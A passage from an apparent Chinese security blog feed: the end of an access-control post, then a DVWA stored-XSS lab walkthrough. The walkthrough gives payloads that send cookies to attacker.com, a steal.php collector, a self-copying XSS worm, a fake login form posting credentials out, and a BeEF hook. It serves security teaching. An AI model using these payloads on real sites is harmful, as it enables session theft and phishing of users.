id="3-路径遍历"><a href="#3-路径遍历" class="headerlink" title="3. 路径遍历"></a>3. 路径遍历</h3><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="regexp">/../</span>..<span class="regexp">/admin/</span>panel</span><br><span class="line"><span class="regexp">/admin/</span>%<span class="number">2</span>e%<span class="number">2</span>e/panel</span><br></pre></td></tr></table></figure><h3 id="4-HTTP方法绕过"><a href="#4-HTTP方法绕过" class="headerlink" title="4. HTTP方法绕过"></a>4. HTTP方法绕过</h3><figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> /<span class="keyword">admin</span> → <span class="number">403</span> Forbidden</span><br><span class="line">POST /<span class="keyword">admin</span> → <span class="number">200</span> OK（如果只检查<span class="keyword">GET</span>）</span><br></pre></td></tr></table></figure><hr><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p><strong>渗透测试清单：</strong></p><ol><li>✅ 枚举所有功能和端点</li><li>✅ 测试水平越权（访问其他用户数据）</li><li>✅ 测试垂直越权（访问管理员功能）</li><li>✅ 修改用户ID&#x2F;角色参数</li><li>✅ 测试IDOR漏洞</li><li>✅ 尝试不同HTTP方法</li><li>✅ 检查隐藏的管理功能</li></ol><p><strong>防御清单：</strong></p><ol><li>✅ 实施RBAC</li><li>✅ 每个操作都验证权限</li><li>✅ 验证资源所有权</li><li>✅ 使用CSRF Token</li><li>✅ 记录所有授权失败</li><li>✅ 最小权限原则</li><li>✅ 定期审计权限</li></ol><p><strong>道德准则：</strong></p><ul><li>只在授权环境测试</li><li>不越权访问真实用户数据</li><li>学习是为了构建安全的访问控制</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;目录&quot;&gt;&lt;a href=&quot;#目录&quot; class=&quot;headerlink&quot; title=&quot;目录&quot;&gt;&lt;/a&gt;目录&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B&quot;&gt;漏洞简介&lt;/a&gt;&lt;/li&gt;
&lt;l</summary>
      
    
    
    
    <category term="dvwa靶场学习笔记" scheme="http://caixuya.github.io/categories/dvwa%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>DVWA - XSS Stored (存储型XSS) 攻防练习详解</title>
    <link href="http://caixuya.github.io/2025/11/20/XSS_Stored_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/"/>
    <id>http://caixuya.github.io/2025/11/20/XSS_Stored_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/</id>
    <published>2025-11-20T15:31:37.143Z</published>
    <updated>2025-11-20T15:26:05.183Z</updated>
    
    <content type="html"><![CDATA[<h1 id=""><a href="#" class="headerlink" title=""></a></h1><h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B">漏洞简介</a></li><li><a href="#low-%E9%9A%BE%E5%BA%A6">Low 难度</a></li><li><a href="#medium-%E9%9A%BE%E5%BA%A6">Medium 难度</a></li><li><a href="#high-%E9%9A%BE%E5%BA%A6">High 难度</a></li><li><a href="#impossible-%E9%9A%BE%E5%BA%A6">Impossible 难度</a></li><li><a href="#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE">防御建议</a></li></ul><hr><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><h3 id="什么是存储型XSS（Stored-Cross-Site-Scripting）？"><a href="#什么是存储型XSS（Stored-Cross-Site-Scripting）？" class="headerlink" title="什么是存储型XSS（Stored Cross-Site Scripting）？"></a>什么是存储型XSS（Stored Cross-Site Scripting）？</h3><p>存储型XSS也称为持久化XSS，攻击者将恶意脚本存储在服务器端（数据库、文件等），当其他用户访问包含恶意数据的页面时，脚本会自动执行。</p><p><strong>攻击流程：</strong></p><ol><li>攻击者提交恶意脚本到服务器</li><li>服务器将恶意脚本存储到数据库</li><li>其他用户访问页面</li><li>服务器从数据库读取恶意脚本并输出</li><li>用户浏览器执行恶意脚本</li></ol><p><strong>危害：</strong></p><ul><li>持久化攻击（一次注入，多次触发）</li><li>影响所有访问用户</li><li>蠕虫传播（自我复制）</li><li>窃取管理员Cookie</li><li>网站挂马</li><li>完全控制用户会话</li></ul><p><strong>与反射型XSS的区别：</strong></p><ul><li>反射型：一次性，需要用户点击链接</li><li>存储型：持久化，所有访问用户都会中招</li></ul><p><strong>DVWA场景：</strong><br>留言板（Guestbook），用户可以提交姓名和留言。</p><hr><h2 id="Low-难度"><a href="#Low-难度" class="headerlink" title="Low 难度"></a>Low 难度</h2><h3 id="攻击目标"><a href="#攻击目标" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>完全未过滤的留言板，恶意脚本永久存储。</p><h3 id="后端代码分析"><a href="#后端代码分析" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查是否提交了留言表单</span></span><br><span class="line"><span class="comment">// isset() - 检查变量是否存在且非NULL</span></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;btnSign&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 危险操作：直接获取用户输入，无任何过滤 ★★★</span></span><br><span class="line">    <span class="comment">// $_POST - 从POST请求体获取数据</span></span><br><span class="line">    <span class="comment">// trim() - 只是去除首尾空格，不做任何安全处理</span></span><br><span class="line">    <span class="comment">// mysql_real_escape_string() - 只防SQL注入，不防XSS！</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 问题：mysql_real_escape_string只转义SQL特殊字符</span></span><br><span class="line">    <span class="comment">// 不转义HTML特殊字符&lt;&gt;，所以XSS payload可以正常存储</span></span><br><span class="line">    <span class="variable">$name</span>    = <span class="title function_ invoke__">trim</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;txtName&#x27;</span> ] );</span><br><span class="line">    <span class="variable">$message</span> = <span class="title function_ invoke__">trim</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;mtxMessage&#x27;</span> ] );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 对SQL特殊字符转义（防SQL注入）</span></span><br><span class="line">    <span class="comment">// 但不防止XSS攻击！</span></span><br><span class="line">    <span class="variable">$name</span>    = <span class="title function_ invoke__">mysql_real_escape_string</span>( <span class="variable">$name</span> );</span><br><span class="line">    <span class="variable">$message</span> = <span class="title function_ invoke__">mysql_real_escape_string</span>( <span class="variable">$message</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 将用户输入直接插入数据库 ★★★</span></span><br><span class="line">    <span class="comment">// INSERT INTO - SQL插入语句</span></span><br><span class="line">    <span class="comment">// guestbook - 留言板表</span></span><br><span class="line">    <span class="comment">// name, comment - 字段名</span></span><br><span class="line">    <span class="comment">// 恶意脚本被原封不动地存储到数据库</span></span><br><span class="line">    <span class="variable">$query</span>  = <span class="string">&quot;INSERT INTO guestbook ( comment, name ) VALUES ( &#x27;<span class="subst">$message</span>&#x27;, &#x27;<span class="subst">$name</span>&#x27; );&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 执行SQL插入</span></span><br><span class="line">    <span class="variable">$result</span> = <span class="title function_ invoke__">mysql_query</span>( <span class="variable">$query</span> ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;&#x27;</span> . <span class="title function_ invoke__">mysql_error</span>() . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 显示成功消息</span></span><br><span class="line">    <span class="comment">// header() - 设置HTTP响应头</span></span><br><span class="line">    <span class="comment">// Location - 重定向到指定URL</span></span><br><span class="line">    <span class="comment">//mysql_close();</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>显示留言的代码：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 从数据库读取并显示留言 ★★★</span></span><br><span class="line"><span class="comment">// SELECT - SQL查询语句</span></span><br><span class="line"><span class="comment">// guestbook - 留言板表</span></span><br><span class="line"><span class="variable">$query</span>  = <span class="string">&quot;SELECT * FROM guestbook&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 执行查询</span></span><br><span class="line"><span class="variable">$result</span> = <span class="title function_ invoke__">mysql_query</span>( <span class="variable">$query</span> ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;&#x27;</span> . <span class="title function_ invoke__">mysql_error</span>() . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line"><span class="comment">// 遍历所有留言</span></span><br><span class="line"><span class="comment">// mysql_fetch_assoc() - 获取结果行作为关联数组</span></span><br><span class="line"><span class="keyword">while</span>( <span class="variable">$row</span> = <span class="title function_ invoke__">mysql_fetch_assoc</span>( <span class="variable">$result</span> ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 危险操作：直接输出数据库内容，无任何编码 ★★★</span></span><br><span class="line">    <span class="comment">// $row[ &#x27;comment&#x27; ] - 留言内容（可能包含恶意脚本）</span></span><br><span class="line">    <span class="comment">// $row[ &#x27;name&#x27; ] - 姓名（可能包含恶意脚本）</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 问题：直接输出，浏览器会执行其中的脚本！</span></span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;div class=&#x27;comment&#x27;&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;div class=&#x27;name&#x27;&gt;&quot;</span> . <span class="variable">$row</span>[ <span class="string">&#x27;name&#x27;</span> ] . <span class="string">&quot;&lt;/div&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;div class=&#x27;message&#x27;&gt;&quot;</span> . <span class="variable">$row</span>[ <span class="string">&#x27;comment&#x27;</span> ] . <span class="string">&quot;&lt;/div&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;/div&gt;&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 关闭数据库连接</span></span><br><span class="line"><span class="title function_ invoke__">mysql_close</span>();</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p><strong>存储流程：</strong></p><figure class="highlight scss"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">用户输入 → <span class="built_in">trim</span>() → <span class="built_in">mysql_real_escape_string</span>() → 存入数据库</span><br></pre></td></tr></table></figure><p><strong>输出流程：</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">数据库 → 直接输出 → 浏览器执行</span><br></pre></td></tr></table></figure><p><strong>核心问题：</strong></p><ol><li><strong>mysql_real_escape_string()不防XSS</strong> - 只转义<code>&#39;</code>、<code>&quot;</code>、<code>\</code>等SQL字符</li><li><strong>不转义HTML字符</strong> - <code>&lt;&gt;</code>、<code>&amp;</code>等直接存储</li><li><strong>输出时无编码</strong> - 直接echo数据库内容</li><li><strong>永久存储</strong> - 恶意脚本一直存在，所有访问者都会执行</li></ol><h3 id="攻击步骤"><a href="#攻击步骤" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><h4 id="步骤1：基础XSS攻击"><a href="#步骤1：基础XSS攻击" class="headerlink" title="步骤1：基础XSS攻击"></a>步骤1：基础XSS攻击</h4><p><strong>攻击1：在Name字段注入</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 姓名输入 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 留言输入 --&gt;</span></span><br><span class="line">Normal message</span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 提交后 --&gt;</span></span><br><span class="line">数据库存储：name = &#x27;<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span>&#x27;</span><br><span class="line">每次有人访问留言板，都会弹出XSS对话框</span><br></pre></td></tr></table></figure><p><strong>攻击2：在Message字段注入</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 姓名输入 --&gt;</span></span><br><span class="line">Alice</span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 留言输入 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="variable language_">document</span>.<span class="property">cookie</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 结果 --&gt;</span></span><br><span class="line">所有访问者都会看到自己的Cookie</span><br></pre></td></tr></table></figure><h4 id="步骤2：窃取所有用户Cookie"><a href="#步骤2：窃取所有用户Cookie" class="headerlink" title="步骤2：窃取所有用户Cookie"></a>步骤2：窃取所有用户Cookie</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 留言内容 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 将Cookie发送到攻击者服务器</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">var</span> img = <span class="keyword">new</span> <span class="title class_">Image</span>();</span></span><br><span class="line"><span class="language-javascript">img.<span class="property">src</span> = <span class="string">&#x27;http://attacker.com/steal.php?cookie=&#x27;</span> + <span class="variable language_">document</span>.<span class="property">cookie</span>;</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 或更隐蔽的方式 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">&quot;this.src=&#x27;http://attacker.com/?c=&#x27;+document.cookie&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>攻击者服务器（steal.php）：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">// 记录所有访问者的Cookie</span></span><br><span class="line"><span class="variable">$cookie</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;cookie&#x27;</span>];</span><br><span class="line"><span class="variable">$ip</span> = <span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>];</span><br><span class="line"><span class="variable">$time</span> = <span class="title function_ invoke__">date</span>(<span class="string">&#x27;Y-m-d H:i:s&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable">$log</span> = <span class="title function_ invoke__">fopen</span>(<span class="string">&#x27;stolen_cookies.txt&#x27;</span>, <span class="string">&#x27;a&#x27;</span>);</span><br><span class="line"><span class="title function_ invoke__">fwrite</span>(<span class="variable">$log</span>, <span class="string">&quot;<span class="subst">$time</span> - <span class="subst">$ip</span> - <span class="subst">$cookie</span>\n&quot;</span>);</span><br><span class="line"><span class="title function_ invoke__">fclose</span>(<span class="variable">$log</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 返回1x1透明图片（不让用户发现）</span></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&#x27;Content-Type: image/png&#x27;</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">base64_decode</span>(<span class="string">&#x27;iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==&#x27;</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h4 id="步骤3：XSS蠕虫（自我复制）"><a href="#步骤3：XSS蠕虫（自我复制）" class="headerlink" title="步骤3：XSS蠕虫（自我复制）"></a>步骤3：XSS蠕虫（自我复制）</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 读取自己的恶意代码</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">var</span> payload = <span class="variable language_">document</span>.<span class="title function_">querySelector</span>(<span class="string">&#x27;.comment .message&#x27;</span>).<span class="property">innerHTML</span>;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 自动提交留言表单，复制自己</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">var</span> xhr = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>();</span></span><br><span class="line"><span class="language-javascript">xhr.<span class="title function_">open</span>(<span class="string">&#x27;POST&#x27;</span>, <span class="string">&#x27;/dvwa/vulnerabilities/xss_s/&#x27;</span>, <span class="literal">true</span>);</span></span><br><span class="line"><span class="language-javascript">xhr.<span class="title function_">setRequestHeader</span>(<span class="string">&#x27;Content-Type&#x27;</span>, <span class="string">&#x27;application/x-www-form-urlencoded&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">xhr.<span class="title function_">send</span>(<span class="string">&#x27;txtName=Worm&amp;mtxMessage=&#x27;</span> + <span class="built_in">encodeURIComponent</span>(payload) + <span class="string">&#x27;&amp;btnSign=Sign+Guestbook&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 结果：每个访问者都会自动发布一条相同的恶意留言 --&gt;</span></span><br></pre></td></tr></table></figure><h4 id="步骤4：钓鱼攻击"><a href="#步骤4：钓鱼攻击" class="headerlink" title="步骤4：钓鱼攻击"></a>步骤4：钓鱼攻击</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-handlebars"><span class="language-xml"></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">// 覆盖整个页面内容</span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">document.body.innerHTML = `</span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars"><span class="tag">&lt;<span class="name">div</span> <span class="attr">style</span>=<span class="string">&quot;position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:99999;&quot;</span>&gt;</span></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">style</span>=<span class="string">&quot;max-width:400px;margin:100px auto;padding:20px;border:1px solid #ccc;&quot;</span>&gt;</span></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">        <span class="tag">&lt;<span class="name">h2</span>&gt;</span>Session Expired<span class="tag">&lt;/<span class="name">h2</span>&gt;</span></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">        <span class="tag">&lt;<span class="name">p</span>&gt;</span>Please login again to continue:<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">        <span class="tag">&lt;<span class="name">form</span> <span class="attr">action</span>=<span class="string">&quot;http://attacker.com/phish.php&quot;</span> <span class="attr">method</span>=<span class="string">&quot;POST&quot;</span>&gt;</span></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">            <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">name</span>=<span class="string">&quot;user&quot;</span> <span class="attr">placeholder</span>=<span class="string">&quot;Username&quot;</span> <span class="attr">style</span>=<span class="string">&quot;width:100%;padding:10px;margin:10px 0;&quot;</span>&gt;</span></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">            <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;password&quot;</span> <span class="attr">name</span>=<span class="string">&quot;pass&quot;</span> <span class="attr">placeholder</span>=<span class="string">&quot;Password&quot;</span> <span class="attr">style</span>=<span class="string">&quot;width:100%;padding:10px;margin:10px 0;&quot;</span>&gt;</span></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">            <span class="tag">&lt;<span class="name">button</span> <span class="attr">type</span>=<span class="string">&quot;submit&quot;</span> <span class="attr">style</span>=<span class="string">&quot;width:100%;padding:10px;background:#007bff;color:white;border:none;&quot;</span>&gt;</span>Login<span class="tag">&lt;/<span class="name">button</span>&gt;</span></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">        <span class="tag">&lt;/<span class="name">form</span>&gt;</span></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">`;</span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars"></span></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="步骤5：BeEF挂钩（控制浏览器）"><a href="#步骤5：BeEF挂钩（控制浏览器）" class="headerlink" title="步骤5：BeEF挂钩（控制浏览器）"></a>步骤5：BeEF挂钩（控制浏览器）</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 在留言中插入BeEF钩子 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;http://attacker.com:3000/hook.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 所有访问留言板的用户浏览器都会被BeEF控制 --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- 攻击者可以： --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- - 查看浏览器信息 --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- - 键盘记录 --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- - 截屏 --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- - 获取摄像头 --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- - 端口扫描 --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- - 社会工程学攻击 --&gt;</span></span><br></pre></td></tr></table></figure><hr><h2 id="Medium-难度"><a href="#Medium-难度" class="headerlink" title="Medium 难度"></a>Medium 难度</h2><h3 id="攻击目标-1"><a href="#攻击目标-1" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>添加了简单的过滤，但可以绕过。</p><h3 id="后端代码分析-1"><a href="#后端代码分析-1" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;btnSign&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取用户输入</span></span><br><span class="line">    <span class="variable">$name</span>    = <span class="title function_ invoke__">trim</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;txtName&#x27;</span> ] );</span><br><span class="line">    <span class="variable">$message</span> = <span class="title function_ invoke__">trim</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;mtxMessage&#x27;</span> ] );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 新增：使用strip_tags()移除HTML标签 ★★★</span></span><br><span class="line">    <span class="comment">// strip_tags() - 从字符串中去除HTML和PHP标签</span></span><br><span class="line">    <span class="comment">// 参数1：要处理的字符串</span></span><br><span class="line">    <span class="comment">// 参数2：允许的标签（可选，这里未指定，移除所有标签）</span></span><br><span class="line">    <span class="comment">// 返回值：移除标签后的字符串</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 作用：移除&lt;script&gt;、&lt;img&gt;等所有HTML标签</span></span><br><span class="line">    <span class="comment">// 例如：&lt;script&gt;alert(1)&lt;/script&gt; → alert(1)</span></span><br><span class="line">    <span class="variable">$name</span> = <span class="title function_ invoke__">strip_tags</span>( <span class="title function_ invoke__">addslashes</span>( <span 